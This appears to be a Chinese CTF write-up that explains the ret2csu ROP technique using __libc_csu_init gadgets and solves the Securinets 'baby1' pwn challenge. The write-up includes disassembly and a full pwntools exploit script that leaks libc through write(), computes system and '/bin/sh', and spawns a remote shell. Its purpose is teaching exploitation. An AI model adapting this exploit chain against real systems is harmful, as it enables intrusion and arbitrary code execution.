0x01 ret2csu
CTF Wiki
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
这里我们以本地编译的蒸米示例的level5为例,用objdump -d level5命令即可查看到以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| 00000000004005c0 <__libc_csu_init>: 4005c0: 41 57 push %r15 4005c2: 41 56 push %r14 4005c4: 41 89 ff mov %edi,%r15d 4005c7: 41 55 push %r13 4005c9: 41 54 push %r12 4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 4005d2: 55 push %rbp 4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end> 4005da: 53 push %rbx 4005db: 49 89 f6 mov %rsi,%r14 4005de: 49 89 d5 mov %rdx,%r13 4005e1: 4c 29 e5 sub %r12,%rbp 4005e4: 48 83 ec 08 sub $0x8,%rsp 4005e8: 48 c1 fd 03 sar $0x3,%rbp 4005ec: e8 0f fe ff ff callq 400400 <_init> 4005f1: 48 85 ed test %rbp,%rbp 4005f4: 74 20 je 400616 <__libc_csu_init+0x56> 4005f6: 31 db xor %ebx,%ebx 4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 4005ff: 00 400600: 4c 89 ea mov %r13,%rdx 400603: 4c 89 f6 mov %r14,%rsi 400606: 44 89 ff mov %r15d,%edi 400609: 41 ff 14 dc callq *(%r12,%rbx,8) 40060d: 48 83 c3 01 add $0x1,%rbx 400611: 48 39 eb cmp %rbp,%rbx 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add $0x8,%rsp 40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq 400625: 90 nop 400626: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40062d: 00 00 00
|
这里我们可以利用以下几点:
- 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据;
- 从 0x0000000000400600 到 0x0000000000400609,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制rdi寄存器的值,只不过只能控制低32位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制r12与rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址。
- 从0x000000000040060D到0x0000000000400614,我们可以控制rbx与rbp的之间的关系为rbx + 1 = rbp,这样我们就不会执行loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
BlackHat 2018
该项技术在BlackHat 2018中介绍过,下面用其PPT来说下。
先编写一个代码量很小的C代码,编译该C文件之后会看到存在大量代码,除去源代码部分,剩下的代码都成为Attached Code即附属代码:
这些Attached Code的攻击是多有效呢?
下面看下这两段可以利用的Gadgets,具体的描述前面已讲解,这里的图片更具体地表现出来了:
将两段Gadgets连接起来构造出ROP链,从而可以实现调用任意含有3个参数的函数:
利用write()函数泄露libc地址:
最终构造的ROP链:
什么时候适合应用ret2csu呢?
0x02 Securinets CTF baby1
这里以Securinets CTF的一道Pwn题baby1为例。
程序先输出一段内容,然后让你输入东西后即退出;是个动态链接文件,会加载libc;安全编译选项只开启了NX:
IDA分析下,存在明显的栈溢出漏洞,但在程序中找不到system()函数和”/bin/sh”字符串,但是可看到其是存在read()、write()和__libc_csu_init()函数的,由此可以联想到可以利用ret2csu技术来实现攻击:
通过objdump -d baby1命令查看__libc_csu_init()函数的gadgets:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| 0000000000400660 <__libc_csu_init>: 400660: 41 57 push %r15 400662: 41 56 push %r14 400664: 41 89 ff mov %edi,%r15d 400667: 41 55 push %r13 400669: 41 54 push %r12 40066b: 4c 8d 25 9e 07 20 00 lea 0x20079e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 400672: 55 push %rbp 400673: 48 8d 2d 9e 07 20 00 lea 0x20079e(%rip),%rbp # 600e18 <__init_array_end> 40067a: 53 push %rbx 40067b: 49 89 f6 mov %rsi,%r14 40067e: 49 89 d5 mov %rdx,%r13 400681: 4c 29 e5 sub %r12,%rbp 400684: 48 83 ec 08 sub $0x8,%rsp 400688: 48 c1 fd 03 sar $0x3,%rbp 40068c: e8 e7 fd ff ff callq 400478 <_init> 400691: 48 85 ed test %rbp,%rbp 400694: 74 20 je 4006b6 <__libc_csu_init+0x56> 400696: 31 db xor %ebx,%ebx 400698: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 40069f: 00 4006a0: 4c 89 ea mov %r13,%rdx 4006a3: 4c 89 f6 mov %r14,%rsi 4006a6: 44 89 ff mov %r15d,%edi 4006a9: 41 ff 14 dc callq *(%r12,%rbx,8) 4006ad: 48 83 c3 01 add $0x1,%rbx 4006b1: 48 39 eb cmp %rbp,%rbx 4006b4: 75 ea jne 4006a0 <__libc_csu_init+0x40> 4006b6: 48 83 c4 08 add $0x8,%rsp 4006ba: 5b pop %rbx 4006bb: 5d pop %rbp 4006bc: 41 5c pop %r12 4006be: 41 5d pop %r13 4006c0: 41 5e pop %r14 4006c2: 41 5f pop %r15 4006c4: c3 retq 4006c5: 90 nop 4006c6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 4006cd: 00 00 00
|
可以确定gadget1的地址为0x4006ba,gadget2的地址为0x4006a0。
GDB调试,使用pattern计算溢出字节为56:
这里我参考另一篇博文《蒸米32位及64位ROP笔记》中level5的第二种做法,我们再找一个pop rdi;ret的gadget:
找到该gadget地址为0x4006c3。
仿照level5写payload就好(具体的解释可以看《蒸米32位及64位ROP笔记》):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import *
p = remote("192.168.17.157", 10001) p.recv(1024)
elf = ELF("./baby1")
gadget1 = 0x4006ba gadget2 = 0x4006a0 pop_rdi_ret_addr = 0x00000000004006c3
main_addr = elf.symbols["main"] write_got = elf.got["write"] print "[*]main() addr: " + hex(main_addr) print "[*]write() got: " + hex(write_got)
def csu(rbx, rbp, r12, r13, r14, r15, ret): payload = "A" * 56 payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += "B" * 56 payload += p64(ret) return payload
print "[*]sending payload to leak write() addr..." payload = csu(0, 1, write_got, 8, write_got, 1, main_addr) p.sendline(payload) sleep(1)
write_addr = u64(p.recv(8)) print "[*]leak write() addr: " + hex(write_got)
p.recv(1024)
libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") print "[*]libc base: " + hex(libc_base) print "[*]system() addr: " + hex(system_addr) print "[*]/bin/sh addr: " + hex(binsh_addr)
print "[*]sending exp..." exp = "A" * 56 exp += p64(pop_rdi_ret_addr) exp += p64(binsh_addr) exp += p64(system_addr) p.sendline(exp) p.interactive()
|
这里打远程的机子:
0x03 参考
ret2csu
return2csu学习笔记